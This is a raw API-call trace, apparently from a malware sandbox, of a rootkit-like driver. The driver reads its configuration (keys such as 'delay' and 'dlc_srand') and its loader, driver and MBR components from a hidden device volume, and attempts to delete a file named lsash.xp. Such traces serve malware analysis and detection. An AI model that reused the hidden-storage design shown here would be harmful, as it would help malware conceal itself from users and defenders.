[0105.698] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0105.698] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003a9d640 [0105.698] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003a9d640 | out: Irp=0xfffffa8003a9d640) returned 0xfffffa80038a5010 [0105.698] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0105.698] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0105.698] IdePortDispatch () returned 0x103 [0105.698] KeWaitForMutexObject () returned 0x0 [0105.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.699] KeLeaveCriticalRegion () [0105.699] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.699] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.699] KeEnterCriticalRegion () [0105.699] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.699] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003ad9c80, Context=0x0) returned 0x0 [0105.699] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.699] KeLeaveCriticalRegion () [0105.699] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.699] KeEnterCriticalRegion () [0105.699] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.699] IoGetRequestorProcess (Irp=0xfffffa8003ad9c80) returned 0xfffffa80034fca60 [0105.699] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ae0630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0105.699] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.699] KeLeaveCriticalRegion () [0105.699] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.699] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.699] KeEnterCriticalRegion () [0105.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.700] ExFreePoolWithTag (P=0xfffffa8003ad2d80, Tag=0x0) [0105.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.700] KeLeaveCriticalRegion () [0105.700] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.700] ReleaseMutex (hMutex=0xf0) returned 1 [0105.700] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0105.700] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0105.700] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0105.700] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0105.700] KeEnterCriticalRegion () [0105.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.700] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003a9d640 [0105.700] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003a9d640 | out: Irp=0xfffffa8003a9d640) returned 0xfffffa80038bc390 [0105.700] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038bc390) [0105.700] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0105.700] IdePortDispatch () returned 0x103 [0105.701] KeWaitForMutexObject () returned 0x0 [0105.701] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0105.701] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0105.701] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0105.701] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0105.701] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0105.701] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0105.701] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0105.701] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0105.701] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0105.701] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0105.701] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0105.701] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0105.701] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0105.701] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0105.701] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0105.701] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.701] KeLeaveCriticalRegion () [0105.701] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.701] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0105.701] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0105.701] KeEnterCriticalRegion () [0105.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.701] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003a9d640 [0105.701] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003a9d640 | out: Irp=0xfffffa8003a9d640) returned 0xfffffa80038bc390 [0105.701] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038bc390) [0105.701] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0105.701] IdePortDispatch () returned 0x103 [0105.702] KeWaitForMutexObject () returned 0x0 [0105.702] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0105.702] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0105.702] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0105.702] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0105.702] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0105.702] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0105.702] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0105.702] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0105.702] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0105.702] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0105.702] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0105.702] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0105.702] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0105.702] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0105.702] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0105.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.702] KeLeaveCriticalRegion () [0105.702] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.702] ReleaseMutex (hMutex=0x100) returned 1 [0105.702] Sleep (dwMilliseconds=0x2bf20) [0116.686] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x68bf44d0, dwHighDateTime=0x1d24fa4)) [0116.686] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0116.686] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.686] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0116.686] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.686] KeEnterCriticalRegion () [0116.686] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.686] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.686] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.686] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.686] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.686] IdePortDispatch () returned 0x103 [0116.686] KeWaitForMutexObject () returned 0x0 [0116.686] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.686] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.686] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.686] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.686] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.686] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d6730 [0116.686] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.686] KeLeaveCriticalRegion () [0116.687] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.687] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.687] KeEnterCriticalRegion () [0116.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.687] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.687] KeLeaveCriticalRegion () [0116.687] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.687] KeEnterCriticalRegion () [0116.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.687] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.687] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.687] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.687] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0116.687] IdePortDispatch () returned 0x103 [0116.687] KeWaitForMutexObject () returned 0x0 [0116.687] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.687] KeLeaveCriticalRegion () [0116.687] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.687] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.687] KeEnterCriticalRegion () [0116.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.687] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003517000 [0116.687] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.687] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.687] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.687] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.687] IdePortDispatch () returned 0x103 [0116.688] KeWaitForMutexObject () returned 0x0 [0116.688] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.688] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.688] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.688] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.688] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.688] IdePortDispatch () returned 0x103 [0116.688] KeWaitForMutexObject () returned 0x0 [0116.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.688] KeLeaveCriticalRegion () [0116.688] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.688] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.688] KeEnterCriticalRegion () [0116.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.688] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.688] KeLeaveCriticalRegion () [0116.688] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.688] KeEnterCriticalRegion () [0116.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.688] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0116.689] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdf6f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.689] KeLeaveCriticalRegion () [0116.689] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.689] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.689] KeEnterCriticalRegion () [0116.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.689] ExFreePoolWithTag (P=0xfffffa80039d6730, Tag=0x0) [0116.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.689] KeLeaveCriticalRegion () [0116.689] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.689] ReleaseMutex (hMutex=0xf0) returned 1 [0116.689] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.689] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0116.689] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.689] KeEnterCriticalRegion () [0116.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.689] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.689] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.689] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.689] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.689] IdePortDispatch () returned 0x103 [0116.689] KeWaitForMutexObject () returned 0x0 [0116.689] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.689] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.689] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.689] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.689] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.689] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c0170 [0116.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.689] KeLeaveCriticalRegion () [0116.689] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.689] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.689] KeEnterCriticalRegion () [0116.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.689] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.689] KeLeaveCriticalRegion () [0116.690] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.690] KeEnterCriticalRegion () [0116.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.690] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.690] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.690] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.690] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0116.690] IdePortDispatch () returned 0x103 [0116.690] KeWaitForMutexObject () returned 0x0 [0116.690] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.690] KeLeaveCriticalRegion () [0116.690] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.690] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.690] KeEnterCriticalRegion () [0116.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.690] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003518000 [0116.690] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.690] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.690] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.690] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.690] IdePortDispatch () returned 0x103 [0116.690] KeWaitForMutexObject () returned 0x0 [0116.690] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.690] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.690] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.690] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.690] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.690] IdePortDispatch () returned 0x103 [0116.691] KeWaitForMutexObject () returned 0x0 [0116.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.691] KeLeaveCriticalRegion () [0116.691] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.691] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.691] KeEnterCriticalRegion () [0116.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.691] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.691] KeLeaveCriticalRegion () [0116.691] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.691] KeEnterCriticalRegion () [0116.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.691] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0116.691] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aae490, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.691] KeLeaveCriticalRegion () [0116.691] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.691] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.691] KeEnterCriticalRegion () [0116.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.692] ExFreePoolWithTag (P=0xfffffa80039c0170, Tag=0x0) [0116.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.692] KeLeaveCriticalRegion () [0116.692] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.692] ReleaseMutex (hMutex=0xf0) returned 1 [0116.692] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.692] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0116.692] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.692] KeEnterCriticalRegion () [0116.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.692] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.692] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.692] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.692] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.692] IdePortDispatch () returned 0x103 [0116.692] KeWaitForMutexObject () returned 0x0 [0116.692] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.692] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.692] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.692] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.692] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.692] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039b6b80 [0116.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 